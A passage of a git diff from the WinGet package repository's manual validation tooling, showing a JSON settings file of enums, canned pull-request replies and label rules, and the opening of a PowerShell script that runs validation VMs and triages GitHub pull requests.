"Blank": "", - "Colon": ":", - "Comma": ",", - "DoubleAmpersand": "@@", - "DoubleQuote": "\"", - "Dash": "-", -"Plus":"+", -"Exclamation":"!", -"NotExclamation":"-!", - "Equal": "=", - "EscapedStar": "\\*", - "EscapedPipe": "\\|", - "EscapedOpenParens": "\\)", - "Hash": "#", - "LineBreak": "\n", - "LineBreakMDQuote": "\n> ", - "CarriageReturn": "\r", - "SingleQuote": "'", - "Slash": "/", - "Space": " ", - "X": "x", - "Y": "y", - "T": "T" - }, - "PRTrackerStates": { - "PreRun": "PreRun", - "PreValidation": "PreValidation", - "Running": "Running", - "PreApproval": "PreApproval", - "DefenderFail": "DefenderFail", - "InstallerAvailable": "InstallerAvailable", - "InstallerRemoved": "InstallerRemoved", - "VersionParamMismatch": "VersionParamMismatch", - "LabelAction": "LabelAction", - "DomainReview": "DomainReview", - "SequenceError": "SequenceError", - "HighestVersionRemoval": "HighestVersionRemoval", - "SQLMissingError": "SQLMissingError", - "ChangesRequested": "ChangesRequested", - "HashMismatch": "HashMismatch", - "AutoValEnd": "AutoValEnd", - "ManValEnd": "ManValEnd", - "MergeConflicts": "MergeConflicts", - "ValidationCompleted": "ValidationCompleted", - "PublishSucceeded": "PublishSucceeded" - }, - "GitHubPresets": { - "Approved": "Approved", - "AutomationBlock": "AutomationBlock", - "BadPR": "BadPR", - "Blocking": "Blocking", - "CheckInstaller": "CheckInstaller", - "Closed": "Closed", - "Completed": "Completed", - "DefenderFail": "DefenderFail", - "DriverInstall": "DriverInstall", - "Duplicate": "Duplicate", - "Feedback": "Feedback", - "GitHubStatus": "GitHubStatus", - "IdleMode": "IdleMode", - "IEDSMode": "IEDSMode", - "InstallerNotSilent": "InstallerNotSilent", - "InstallerMissing": "InstallerMissing", - "LabelAction": "LabelAction", - "ManuallyValidated": "ManuallyValidated", - "MergeConflicts": "MergeConflicts", - "NetworkBlocker": "NetworkBlocker", - "NoInstallerChange": "NoInstallerChange", - "OneManifestPerPR": "OneManifestPerPR", - "PRNoYamlFiles": "PRNoYamlFiles", - "PackageUrl": "PackageUrl", - "Paths": "Paths", - "PossibleDuplicate": "PossibleDuplicate", - "Project": "Project", - "RestrictedSubmitter": "RestrictedSubmitter", - "ResetApproval": "ResetApproval", - "Retry": "Retry", - "Squash": "Squash", - "Timeclock": "Timeclock", - "Validating": "Validating", - "VedantResetPR": "VedantResetPR", - "WorkSearch": "WorkSearch", - "Waiver": "Waiver" - }, - "StandardPRComments": { - "ValidationPipelineBadge": "Validation Pipeline Badge", - "WingetbotRun": "wingetbot run", - "AzpRun": "azp run", - "AzurePipelinesRun": "AzurePipelines run", - "AzurePipelinesSuccessfullyStarted": "Azure Pipelines successfully started running 1 pipeline", - "CheckInPolicies": "The check-in policies require a moderator to approve PRs from the community", - "CLAAgree": "microsoft-github-policy-service agree", - "WingetbotWaiversAdd": "wingetbot waivers Add", - "InternalError": "The pull request encountered an internal error and has been assigned to a developer to investigate", - "ManifestVersion": "Manifest Schema Version: 1.4.0 less than 1.5.0 for ID:", - "CoolPlayLinBot": "This account is bot account and belongs to CoolPlayLin", - "CoolPlayLinBot2": "This account is automated by Github Actions and the source code was created by CoolPlayLin", - "Poke": "Poke 👉", - "ResponseStatusCode": "Response status code does not indicate success", - "AutoValEnd": "Automatic Validation ended with", - "ManValEnd": "Manual Validation ended with", - "NoErrorsToPost": "No errors to post", - "DefenderFail": "The package didn't pass a Defender or similar security scan", - "SecurityCheck": "Installer failed security check", - "SequenceNoElements": "Sequence contains no elements", - "MissingProperties": "Missing Properties value based on version", - "AzpTriggersExcludeBranch": "Azure Pipelines could not run because the pipeline triggers exclude this branch/path" - }, - "DisplayVersionExceptionList": [ - "Netbird.Netbird", - "ppy.osu", - "Aircall.AircallWorkspace" - ], - "TrackerModes": { - "Approving": "Approving", - "Drain": "Drain", - "Idle": "Idle", - "IEDS": "IEDS", - "NoNew": "NoNew", - "OnlyNew": "OnlyNew", - "Validating": "Validating" - }, - "SearchPresets": { - "Approval": "Approval", - "Approval2": "Approval2", - "Autowaiver": "Autowaiver", - "Blocking": "Blocking", - "Defender": "Defender", - "Domain": "Domain", - "Duplicate": "Duplicate", - "HVR": "HVR", - "IEDS": "IEDS", - "LVR": "LVR", - "MMC": "MMC", - "NMM": "NMM", - "NoLabels": "NoLabels", - "None": "None", - "ToWork": "ToWork", - "ToWork2": "ToWork2", - "ToWork3": "ToWork3", - "VCMA": "VCMA" - }, - "SearchTerms":{ - "IsPR":"is:pr+", -"IsOpen":"is:open+", -"DraftFalse":"draft:false+", -"SortAsc":"sort:created-asc+", -}, - "MMC": { - "MissingProperties": "Missing Properties", - "ManifestsHeader": " = = = manifests" - }, - "GitHubUserNames": { - "Trenly": "Trenly", - "GitHubUserName": "stephengillie", - "GitHubUserNameFull": "Stephen Gillie", - "GitHubUserName2": "Gilgamech", - "AzurePipelines": "azure-pipelines" - }, - "PRCheckStates": { - "Queued": "queued", - "Success": "success", - "Failure": "failure" - }, - "ValidationDataStrictness": { - "Manual": "manual", - "Auto": "auto" - }, - "TestAdmin": { - "AdminString": "S-1-5-32-544", - "TryElevatingYourSession": "Try elevating your session." - }, - "PRLabelActions": [ - { - "Label": "Binary-Validation-Error", - "Logset": "29|41|37|", - "StringSet": "0", - "MatchOffset": "", - "LengthSet": "" - }, - { - "Label": "Internal-Error", - "Logset": "47|46|29|15|25|54|56|57|58", - "StringSet": "12|1|9", - "MatchOffset": "", - "LengthSet": "" - }, - { - "Label": "Internal-Error-PR", - "Logset": "36", - "StringSet": "", - "MatchOffset": "", - "LengthSet": "" - }, - { - "Label": "Manifest-AppsAndFeaturesVersion-Error", - "Logset": "36|29|30|14|42|46|48|34", - "StringSet": "1|2", - "MatchOffset": "", - "LengthSet": "" - }, - { - "Label": "Manifest-Installer-Validation-Error", - "Logset": "37|36|29|42|43|48", - "StringSet": "1|2", - "MatchOffset": "", - "LengthSet": "" - }, - { - "Label": "Manifest-Validation-Error", - "Logset": "37", - "StringSet": "11|8|2|10", - "MatchOffset": "", - "LengthSet": "" - }, - { - "Label": "PullRequest-Error", - "Logset": "36", - "StringSet": "13", - "MatchOffset": "", - "LengthSet": "0" - }, - { - "Label": "Validation-Forbidden-URL-Error", - "Logset": "29|21|23|53|55", - "StringSet": "9", - "MatchOffset": "", - "LengthSet": "" - }, - { - "Label": "Error-Hash-Mismatch", - "Logset": "54", - "StringSet": "0", - "MatchOffset": "", - "LengthSet": "10" - }, - { - "Label": "Internal-Error-Manifest-Installer", - "Logset": "37|36", - "StringSet": "9|0", - "MatchOffset": "1|0", - "LengthSet": "3" - } - ], - "Robots": { - "Wingetbot": "wingetbot", - "FabricBot": "microsoft-github-policy-service", - "AzurePipelines": "azure-pipelines" - } -} + "reviewText":"reviewText", + }, + "Strings": { + "AllCommentsMustBeResolved": "All comments must be resolved", + "ApiRateLimitExceeded": "API rate limit exceeded", + "DetectedOneDefender": "Detected 1 Defender", + "FoundDuplicatePullRequest": "Found duplicate pull request", + "LettingVmCool": "Letting VM cool...", + "NoData": "NoData", + "NoErrorsToPost": "No errors to post.", + "MarkedThisConversationAsResolved": "marked this conversation as resolved.", + "PrimaryFork": "master", + "ManualValidation": "Manual Validation", + "OneManifestPerPR": "The pull request contains more than one manifest", + "ManifestTypeSingleton": "ManifestType: singleton", + "Pst": "Pacific Standard Time", + "ADOMSBaseUrl":"ADOMSBaseUrl", + "manifests":"manifests/", + "SkipToContent":"Skip to content", + "WindowsPackageManager": " Windows Package Manager", + "ElevationRequirementElevationProhibited": "ElevationRequirement: elevationProhibited", + "PRNoYamlFiles": "The pull request doesn't include any manifest files yaml", + "Win11DevEnv": "Windows 11 dev environment", + "RemovingPreviousManifestAndAddingCurrent": "Removing previous manifest and adding current...", + "RenameCompleteStarting": "Rename complete, starting...", + "StartingVmAndCleaningUpCheckpoints": "Starting VM and cleaning up checkpoints...", + "RevertingVm": "Reverting VM...", + "PullRequestHasMergeConflicts": "Pull Request has merge conflicts", + "LaunchingVMWindowHandingOffToOrchestration": "Launching VM window, handing off to Orchestration.", + "StandardizeFormatting": "Standardize formatting", + "CreatedAt": "created_at", + "UserName":"UserName", + "BuildLinkComment":"Validation Pipeline Run \\[WinGetSvc-Validation-", + "ReturningPatch":"Returning Patch:", + "Label":"label:", + "Timestamp":"yyyy-MM-dd", + "Microsoft":"Microsoft", + "matches":"matches", + "preapproved":"preapproved", + "DoesNotMatch":"does not match", + "WantsToMerge":"wants to merge", + "GitHubUserName":"GitHubUserName", + "BotPrefix":"\\[bot\\]", + "Vm": "vm", + "ValidationResultFailed": "Validation result: Failed", + "ValidationPipelineRun": "Validation Pipeline Run", + "WingetbotRun": "@wingetbot run", + "WingetbotWaiversAdd": "@wingetbot waivers Add", + "Win": "Win", + "Url" :"Url", + "Agreement" :"Agreement", + "FastFailTombstone":"ZZZFASTFAILZZZ", + "WordFilterList":"WordFilterList", +}, + "PRStates": { + "Open": "open", + "Closed": "closed" + }, + "PRRequestMethods": { + "Get": "GET", + "Delete": "DELETE", + "Head": "HEAD", + "Post": "POST", + "Put": "PUT" + }, + "Dependencies": { + "VCRedist": "Microsoft.VCRedist.2015+.x64", + "DesktopRuntime8": "Microsoft.DotNet.DesktopRuntime.8", + "OracleJre": "Oracle.JavaRuntimeEnvironment" + }, + "PRRequestOutput": { + "Content": "Content", + "Silent": "Silent", + "StatusDescription": "StatusDescription" + }, + "CannedMessageResponses": { + "AgreementMismatch": "Hi $Username`n`nThis package uses Agreements, but this manifest's AgreementsUrl doesn't match the AgreementsUrl on file: $AgreementUrlFromList", + "AppsAndFeaturesNew": "Hi $Username`n`nThis manifest adds a `DisplayVersion` to the `AppsAndFeaturesEntries` that isn't present in previous manifest versions. This entry should be added to the previous versions, or removed from this version.", + "AppsAndFeaturesMissing": "Hi $Username`n`nThis manifest removes the `DisplayVersion` from the `AppsAndFeaturesEntries`, which is present in previous manifest versions. This entry should be added to this version, to maintain version matching, and prevent the 'upgrade always available' situation with this package.", + "AppsAndFeaturesMatch": "Hi $Username`n`nThis manifest uses the same values for `DisplayVersion` and `PackageVersion`. This is not recommended, and the `DisplayVersion` should be removed.", + "AppFail": "Hi $Username`n`nThe application installed normally, but gave an error instead of launching:`n", + "Approve": "Hi $Username`n`nDo you approve of these changes?", + "AutomationBlock": "This might be due to a network block of data centers, to prevent automated downloads.", + "UserAgentBlock": "This might be due to user-agent throttling.", + "AutoValEnd": "Automatic Validation ended with: `n> $UserInput", + "DriverInstall": "Hi $Username`n`nThe installation is unattended, but installs a driver which isn't unattended:`nUnfortunately, installer switches are not usually provided for this situation. Are you aware of an installer switch to have the driver silently install as well?", + "DefenderFail": "The package didn't pass a Defender or similar security scan. This might be a false positive and we can rescan tomorrow..", + "HashFailRegen": "Closing to regenerate with correct hash.", + "InstallerFail": "Hi $Username`n`nThe installer did not complete:`n", + "InstallerMatchesSubmitter": "Submitter username detected in InstallerUrl, but not in PackageIdentifier. Verify not a forked repository.", + "InstallerMissing": "Hi $Username`n`nHas the installer been removed?", + "InstallerNotSilent": "Hi $Username`n`nThe installation isn't unattended. Is there an installer switch to have the package install silently?", + "ListingDiff": "This PR omits these files that are present in the current manifest:`n> $UserInput", + "ManifestVersion": "Hi $Username`n`nWe don't often see the `1.0.0` manifest version anymore. Would it be possible to upgrade this to the [1.12.0]($GitHubBaseUrl/tree/master/doc/manifest/schema/1.12.0) version, possibly through a tool such as [WinGetCreate](https://learn.microsoft.com/en-us/windows/package-manager/package/manifest?tabs=minschema%2Cversion-example), [YAMLCreate]($GitHubBaseUrl/blob/master/Tools/YamlCreate.ps1), or [Komac](https://github.com/russellbanks/Komac)? ", + "ManValEnd": "Manual Validation ended with: `n> $UserInput", + "MergeFail": "Merging failed with:`n> $UserInput", + "NoCause": "I'm not able to find the cause for this error. It installs and runs normally on a Windows 10 VM.", + "NoExe": "Hi $Username`n`nThe installer doesn't appear to install any executables, only supporting files:`n`nIs this expected?", + "NoRecentActivity": "No recent activity.", + "NotGoodFit": "Hi $Username`n`nUnfortunately, this package might not be a good fit for inclusion into the WinGet public manifests. Please consider using a local manifest (`WinGet install --manifest C:\\path\\to\\manifest\\files\\`) for local installations. ", + "NormalInstall": "This package installs and launches normally in a Windows 10 VM.", + "OneManifestPerPR": "Hi $Username`n`nWe have a limit of 1 manifest change, addition, or removal per PR. This PR modifies more than one PR. Can these changes be spread across multiple PRs?", + "Only64bit": "Hi $Username`n`nValidation failed on the x86 package, and x86 packages are validated on 32-bit OSes. So this might be a 64-bit package.", + "PackageFail": "Hi $Username`n`nThe package installs normally, but fails to run:`n", + "PackageUrl": "Hi $Username`n`nCould you add a PackageUrl?", + "Paths": "Please update file name and path to match this change.", + "PendingAttendedInstaller": "Pending:`n* https://github.com/microsoft/winget-cli/issues/910", + "PolicyWrapper": "", + "PRNoYamlFiles": "Hi $Username`n`nThis error means that this PR diff Master had no output. In other words, it's like a merge conflict.`n> The pull request doesn't include any manifest files yaml.", + "RemoveAsk": "Hi $Username`n`nThis package installer is still available. Why should it be removed?", + "SequenceNoElements": "> Sequence contains no elements`n`n - This error means that this PR diff Master had no output. In other words, it's like a merge conflict.", + "Unavailable": "Hi $Username`n`nThe installer isn't available from the publisher's website:", + "Unattended": "Hi $Username`n`nThe installation isn't unattended:`n`nIs there an installer switch to bypass this and have it install automatically?", + "UrlBad": "Hi $Username`n`nI'm not able to find this InstallerUrl from the PackageUrl. Is there another page on the developer's site that has a link to the package?", + "VersionCount": "Hi $Username`n`nThis manifest has the highest version number for this package. Is it available from another location? (This might be in error if the version is switching from semantic to string, or string to semantic.)", + "WhatIsIEDS": "Hi $Username`n`nThe label `Internal-Error-Dynamic-Scan` is a blanket error for one of a number of internal pipeline errors or issues that occurred during the Dynamic Scan step of our validation process. It only indicates a pipeline issue and does not reflect on your package. Sorry for any confusion caused.", + "WordFilter": "This manifest contains a term that is blocked:`n`n> $UserInput" + }, + "ManifestStrings": { + "FooterHeader": "\n@@ -0,0 + 0,0 @@\n" + }, + "PSDataTypes": { + "String": "string", + "Array": "array" + }, + "ManifestKeys": { + "PackageIdentifier": "PackageIdentifier", + "PackageVersion": "PackageVersion", + "DisplayVersion": "DisplayVersion", + "InstallerType": "InstallerType", + "AgreementUrl": "AgreementUrl", + "InstallerUrl": "InstallerUrl", + "ElevationRequirement": "ElevationRequirement", + }, + "WordFilterList": [ + "accept_gdpr ", + "accept-licenses", + "accept-license", + "eula", + "downloadarchive.documentfoundation.org", + "paypal" + ], +"GitHubRateLimit":{ + "Url":"https://api.github.com/rate_limit", + "Source":"source", + "Reset":"reset", + "Logged":"Logged", + "Unlogged":"Unlogged", +}, + "Char": { + "Ampersand": "@", + "Backslash": "\\", + "Blank": "", + "Colon": ":", + "Comma": ",", + "DoubleAmpersand": "@@", + "DoubleQuote": "\"", + "Dash": "-", +"Plus":"+", +"Exclamation":"!", +"NotExclamation":"-!", + "Equal": "=", + "EscapedStar": "\\*", + "EscapedPipe": "\\|", + "EscapedOpenParens": "\\)", + "Hash": "#", + "LineBreak": "\n", + "LineBreakMDQuote": "\n> ", + "CarriageReturn": "\r", + "SingleQuote": "'", + "Slash": "/", + "Space": " ", + "X": "x", + "Y": "y", + "T": "T" + }, + "PRTrackerStates": { + "PreRun": "PreRun", + "PreValidation": "PreValidation", + "Running": "Running", + "PreApproval": "PreApproval", + "DefenderFail": "DefenderFail", + "InstallerAvailable": "InstallerAvailable", + "InstallerRemoved": "InstallerRemoved", + "VersionParamMismatch": "VersionParamMismatch", + "LabelAction": "LabelAction", + "DomainReview": "DomainReview", + "SequenceError": "SequenceError", + "HighestVersionRemoval": "HighestVersionRemoval", + "SQLMissingError": "SQLMissingError", + "ChangesRequested": "ChangesRequested", + "HashMismatch": "HashMismatch", + "AutoValEnd": "AutoValEnd", + "ManValEnd": "ManValEnd", + "MergeConflicts": "MergeConflicts", + "ValidationCompleted": "ValidationCompleted", + "PublishSucceeded": "PublishSucceeded" + }, + "GitHubPresets": { + "Approved": "Approved", + "AutomationBlock": "AutomationBlock", + "BadPR": "BadPR", + "Blocking": "Blocking", + "CheckInstaller": "CheckInstaller", + "Closed": "Closed", + "Completed": "Completed", + "DefenderFail": "DefenderFail", + "DriverInstall": "DriverInstall", + "Duplicate": "Duplicate", + "Feedback": "Feedback", + "GitHubStatus": "GitHubStatus", + "IdleMode": "IdleMode", + "IEDSMode": "IEDSMode", + "InstallerNotSilent": "InstallerNotSilent", + "InstallerMissing": "InstallerMissing", + "LabelAction": "LabelAction", + "ManuallyValidated": "ManuallyValidated", + "MergeConflicts": "MergeConflicts", + "NetworkBlocker": "NetworkBlocker", + "NoInstallerChange": "NoInstallerChange", + "OneManifestPerPR": "OneManifestPerPR", + "PRNoYamlFiles": "PRNoYamlFiles", + "PackageUrl": "PackageUrl", + "Paths": "Paths", + "PossibleDuplicate": "PossibleDuplicate", + "Project": "Project", + "RestrictedSubmitter": "RestrictedSubmitter", + "ResetApproval": "ResetApproval", + "Retry": "Retry", + "Squash": "Squash", + "Timeclock": "Timeclock", + "Validating": "Validating", + "VedantResetPR": "VedantResetPR", + "WorkSearch": "WorkSearch", + "Waiver": "Waiver" + }, + "StandardPRComments": { + "ValidationPipelineBadge": "Validation Pipeline Badge", + "WingetbotRun": "wingetbot run", + "AzpRun": "azp run", + "AzurePipelinesRun": "AzurePipelines run", + "AzurePipelinesSuccessfullyStarted": "Azure Pipelines successfully started running 1 pipeline", + "CheckInPolicies": "The check-in policies require a moderator to approve PRs from the community", + "CLAAgree": "microsoft-github-policy-service agree", + "WingetbotWaiversAdd": "wingetbot waivers Add", + "InternalError": "The pull request encountered an internal error and has been assigned to a developer to investigate", + "ManifestVersion": "Manifest Schema Version: 1.4.0 less than 1.5.0 for ID:", + "CoolPlayLinBot": "This account is bot account and belongs to CoolPlayLin", + "CoolPlayLinBot2": "This account is automated by Github Actions and the source code was created by CoolPlayLin", + "Poke": "Poke 👉", + "ResponseStatusCode": "Response status code does not indicate success", + "AutoValEnd": "Automatic Validation ended with", + "ManValEnd": "Manual Validation ended with", + "NoErrorsToPost": "No errors to post", + "DefenderFail": "The package didn't pass a Defender or similar security scan", + "SecurityCheck": "Installer failed security check", + "SequenceNoElements": "Sequence contains no elements", + "MissingProperties": "Missing Properties value based on version", + "AzpTriggersExcludeBranch": "Azure Pipelines could not run because the pipeline triggers exclude this branch/path" + }, + "DisplayVersionExceptionList": [ + "Netbird.Netbird", + "ppy.osu", + "Aircall.AircallWorkspace" + ], + "TrackerModes": { + "Approving": "Approving", + "Drain": "Drain", + "Idle": "Idle", + "IEDS": "IEDS", + "NoNew": "NoNew", + "OnlyNew": "OnlyNew", + "Validating": "Validating" + }, + "SearchPresets": { + "Approval": "Approval", + "Approval2": "Approval2", + "Autowaiver": "Autowaiver", + "Blocking": "Blocking", + "Defender": "Defender", + "Domain": "Domain", + "Duplicate": "Duplicate", + "HVR": "HVR", + "IEDS": "IEDS", + "LVR": "LVR", + "MMC": "MMC", + "NMM": "NMM", + "NoLabels": "NoLabels", + "None": "None", + "ToWork": "ToWork", + "ToWork2": "ToWork2", + "ToWork3": "ToWork3", + "VCMA": "VCMA" + }, + "SearchTerms":{ + "IsPR":"is:pr+", +"IsOpen":"is:open+", +"DraftFalse":"draft:false+", +"SortAsc":"sort:created-asc+", +}, + "MMC": { + "MissingProperties": "Missing Properties", + "ManifestsHeader": " = = = manifests" + }, + "GitHubUserNames": { + "Trenly": "Trenly", + "GitHubUserName": "stephengillie", + "GitHubUserNameFull": "Stephen Gillie", + "GitHubUserName2": "Gilgamech", + "AzurePipelines": "azure-pipelines" + }, + "PRCheckStates": { + "Queued": "queued", + "Success": "success", + "Failure": "failure" + }, + "ValidationDataStrictness": { + "Manual": "manual", + "Auto": "auto" + }, + "TestAdmin": { + "AdminString": "S-1-5-32-544", + "TryElevatingYourSession": "Try elevating your session." + }, + "PRLabelActions": [ + { + "Label": "Binary-Validation-Error", + "Logset": "29|41|37|", + "StringSet": "0", + "MatchOffset": "", + "LengthSet": "" + }, + { + "Label": "Internal-Error", + "Logset": "47|46|29|15|25|54|56|57|58", + "StringSet": "12|1|9", + "MatchOffset": "", + "LengthSet": "" + }, + { + "Label": "Internal-Error-PR", + "Logset": "36", + "StringSet": "", + "MatchOffset": "", + "LengthSet": "" + }, + { + "Label": "Manifest-AppsAndFeaturesVersion-Error", + "Logset": "36|29|30|14|42|46|48|34", + "StringSet": "1|2", + "MatchOffset": "", + "LengthSet": "" + }, + { + "Label": "Manifest-Installer-Validation-Error", + "Logset": "37|36|29|42|43|48", + "StringSet": "1|2", + "MatchOffset": "", + "LengthSet": "" + }, + { + "Label": "Manifest-Validation-Error", + "Logset": "37", + "StringSet": "11|8|2|10", + "MatchOffset": "", + "LengthSet": "" + }, + { + "Label": "PullRequest-Error", + "Logset": "36", + "StringSet": "13", + "MatchOffset": "", + "LengthSet": "0" + }, + { + "Label": "Validation-Forbidden-URL-Error", + "Logset": "29|21|23|53|55", + "StringSet": "9", + "MatchOffset": "", + "LengthSet": "" + }, + { + "Label": "Error-Hash-Mismatch", + "Logset": "54", + "StringSet": "0", + "MatchOffset": "", + "LengthSet": "10" + }, + { + "Label": "Internal-Error-Manifest-Installer", + "Logset": "37|36", + "StringSet": "9|0", + "MatchOffset": "1|0", + "LengthSet": "3" + } + ], + "Robots": { + "Wingetbot": "wingetbot", + "FabricBot": "microsoft-github-policy-service", + "AzurePipelines": "azure-pipelines" + } +} diff --git a/Tools/ManualValidation/ManualValidationPipeline.ps1 b/Tools/ManualValidation/ManualValidationPipeline.ps1 index b619787377c92..63cd5f1dd2c98 100644 --- a/Tools/ManualValidation/ManualValidationPipeline.ps1 +++ b/Tools/ManualValidation/ManualValidationPipeline.ps1 @@ -1,7611 +1,7611 @@ -#Copyright 2022-2026 Microsoft Corporation -#Author: Stephen Gillie -#Title: Manual Validation Pipeline v3.90.0 -#Created: 10/19/2022 -#Updated: 4/3/2026 -#Notes: Utilities to streamline evaluating 3rd party PRs. -#Secure/Stable/Scalable is the new Works/Fast/Pretty - -$build = 1782 -$appName = "ManualValidationPipeline" -Write-Host "$appName build: $build" -$Owner = "microsoft" -if ($PReprod) { - $Repo = "winget-pkgs-preprod" - $Host.UI.RawUI.WindowTitle = "PREPROD" -} else { - $Repo = "winget-pkgs" -} -#Share this folder with Windows File Sharing, then access it from within the VM across the network, as \\LaptopIPAddress\SharedFolder. For LaptopIPAddress use Ethernet adapter vEthernet (Default Switch) IPv4 Address. - -$ipconfig = (ipconfig) -$remoteIP = ([ipaddress](($ipconfig[($ipconfig | Select-String "vEthernet").LineNumber..$ipconfig.Length] | Select-String "IPv4 Address") -split ": ")[1]).IPAddressToString -$RemoteMainFolder = "//$remoteIP/" -$SharedFolder = "$RemoteMainFolder/write" - -#Folders -$MainFolder = "C:\ManVal" -Set-Location $MainFolder -$imagesFolder = "$MainFolder\Images" #VM Images folder -$logsFolder = "$MainFolder\logs" #VM Logs folder -$MiscFolder = "$MainFolder\misc" -$writeFolder = "$MainFolder\write" #Folder with write permissions -$VMCounter = "$MainFolder\vmcounter.txt" -$VMversion = "$MainFolder\VMversion.txt" - -#Files -$TrackerModeFile = "$logsFolder\trackermode.txt" -$RemoteTrackerModeFile = "$RemoteMainFolder\ManVal\logs\trackermode.txt" #TrackerModeFile from the VM's perspective. -$FunctionTraceFileName = "$logsFolder\FunctionTrace.txt" -$LogFile = "$MiscFolder\ApprovedPRs.txt" -$PRQueueFile = "$MiscFolder\PRQueue.txt" -$PRExcludeFile = "$MiscFolder\PRExclude.txt" -$repoCountfile = "$MiscFolder\RepoCounts.csv" -$CovertReviewFile = "$MiscFolder\CovertReview.csv" -$ApprovalStatsFile = "$MiscFolder\ApprovalStats.csv" - - -#Data -$RepoFolder = "C:\repos\$Repo\Tools\ManualValidation" -$SchemaBackupFolder = "$RepoFolder\SchemaBackup" - -$DataFileName = "$RepoFolder\ManualValidationPipeline.csv" -$JsonFileName = "$RepoFolder\ManualValidationPipeline.json" -$SchemaFileName = "$RepoFolder\ManualValidationSchema.json" -$AutowaiverFile = "$RepoFolder\Autowaiver.csv" -$ExitCodeFile = "$RepoFolder\ExitCodes.csv" -$MMCExceptionListFile = "$RepoFolder\MMCExceptionList.txt" -$PRStateDataFile = "$RepoFolder\PRStateFromComments.csv" -$ReviewFile = "$RepoFolder\Review.csv" -$SchemaCheckFile = "$logsFolder/SchemaCheck.txt" - -$SharedErrorFile = "$writeFolder\err.txt" -$StatusFile = "$writeFolder\status.csv" - -$Win10Folder = "$imagesFolder\Win10-Created053025-Original" -$Win11Folder = "$imagesFolder\Win11-Created120825-Original" - -$GitHubBaseUrl = "https://github.com/$Owner/$Repo" -$GitHubContentBaseUrl = "https://raw.githubusercontent.com/$Owner/$Repo" -$GitHubApiBaseUrl = "https://api.github.com/repos/$Owner/$Repo" -$ADOMSBaseUrl = "https://dev.azure.com/shine-oss" -$ADOMSGUID = "8b78618a-7973-49d8-9174-4360829d979b" -$NextStaleCheck = (Get-Date) - -$CheckpointName = "Validation" -$VMUserName = "user" #Set to the internal username you're using in your VMs. -$SystemRAM = (Get-CimInstance Win32_PhysicalMemory | Measure-Object -Property capacity -Sum).sum /1gb -if ($PReprod) { - $Host.UI.RawUI.WindowTitle = "PREPROD-Utility" -} else { - $Host.UI.RawUI.WindowTitle = "Utility" -} -$GitHubRateLimitDelay = 0.33 #second -$RamPctForVms = .28 -[int]$PatchedValidationIteration = 0 -# $RamPctForVms = .42 -$GhRlRemain = 0 -$FunctionTrace = $False -$MVschemaData = gc $SchemaFileName | convertfrom-json - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -############################# - Applications - ############################## -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -<# -foreach ($page in (1..4)) {(get-searchGitHub -Preset None -Label $Enum.PRLabels.PD).number | %{$_;Get-DuplicateCheck $_}} -#> - - -#First tab -Function Get-TrackerVMRunTracker { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRunTracker Start"}; - while ($True) { - if ($PReprod) { - $Host.UI.RawUI.WindowTitle = "PREPROD-Orchestration" - } else { - $Host.UI.RawUI.WindowTitle = "Orchestration" - } - (Get-VM | Where-Object {$_.state -eq "off"}).name -replace "vm","" | where {$_ -notmatch "Win"} | %{Get-TrackerVMSetStatus Complete $_} - Clear-Host - $Status = Get-Status - $Status | Format-Table; #Display - $VMRAM = Get-ArraySum $status.RAM - $ramColor = $Enum.PSColors.Green - $valMode = Get-TrackerVMMode - $contents = "" - $Status.vm | %{ - $path = "$MainFolder\vm\$_\manifest\Package.yaml"; - try {$contents = (Get-Content $path -ErrorAction SilentlyContinue)}catch{} - if ($contents -match "ManifestVersion: 1..0$") { - $contents -replace "ManifestVersion: 1..0$","ManifestVersion: 1.10.0" | out-file $path -ErrorAction SilentlyContinue - } - } - $status | ForEach-Object { - $GetVM = Get-VM -Name ($Enum.Strings.Vm + $_.vm) - $_.RAM = [math]::Round($GetVM.MemoryAssigned/1024/1024/1024, $Enum.Num.Two) - if (($_.package -eq $Enum.Char.Blank) -AND ($_.status -eq $Enum.VMStatus.ValidationCompleted)) { - $_.status = $Enum.VMStatus.Complete - } - } - if ($status -ne $Enum.Char.Blank){ - Write-Status $status - } - - - if ($VMRAM -gt ($SystemRAM*0.5)) { - $ramColor = $Enum.PSColors.Red - } elseif ($VMRAM -gt ($SystemRAM*.25)) { - $ramColor = $Enum.PSColors.Yellow - } - Write-Host "VM RAM Total: " -nonewline - Write-Host -f $ramColor $VMRAM - $timeClockColor = $Enum.PSColors.Red - if (Get-TimeRunning) { - $timeClockColor = $Enum.PSColors.Green - } - $PRQueueCount = Get-PRQueueCount - $VMRate = [math]::round((Get-VMMinutesPerPackage),2) - $PRsPerHour = [math]::round((60/$VMRate) * (Get-Status).count,2) - # $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining - Write-Host -nonewline "Build: $build - Mode $valMode - $GhRlRemain GH calls remain. Hours worked: " - Write-Host -nonewline -f $timeClockColor (Get-HoursWorkedToday) - # Get-UpdateSource - Write-Host " - PRs in queue: $PRQueueCount" - Write-Host -nonewline "VMs are taking $VMRate minutes each, for about $PRsPerHour per hour. " - (Get-VM) | ForEach-Object { - if(($_.MemoryDemand / $_.MemoryMaximum) -ge 0.9){ - Set-VM -VMName $_.name -MemoryMaximumBytes "$(($_.MemoryMaximum / 1073741824) + 2)GB" - } - } - Get-TrackerVMCycle; - Get-TrackerVMWindowArrange - $PatchedValidationIteration = 0 - - if ($valMode -eq "IEDS") { - if ((Get-ArraySum $status.RAM) -lt ($SystemRAM*$RamPctForVms)) { - Write-Output $valMode - Get-RandomIEDS - } - } elseif ($valMode -eq "Drain") { - #This section intentionally left blank. So VMs will complete but not start. - } else { - if (!(($status | Where-Object {$_.version -ne (Get-TrackerVMVersion)}).Count)) { - if (!($status | Where-Object {($_.mode -join $Enum.Char.Space) -match "Creation"})) { - if ($PRQueueCount -gt 0) { - $VM = Get-NextFreeVM - if ($VM) { - if ((Get-ArraySum $status.RAM) -lt ($SystemRAM*$RamPctForVms)) { - $PR = Get-SchemaCheck -InputData (Get-PopPRQueue) -SchemaInfo $MVschemaData.PR.Number - if ($null -ne $PR) { - Write-Output "Running $PR from queue." - # 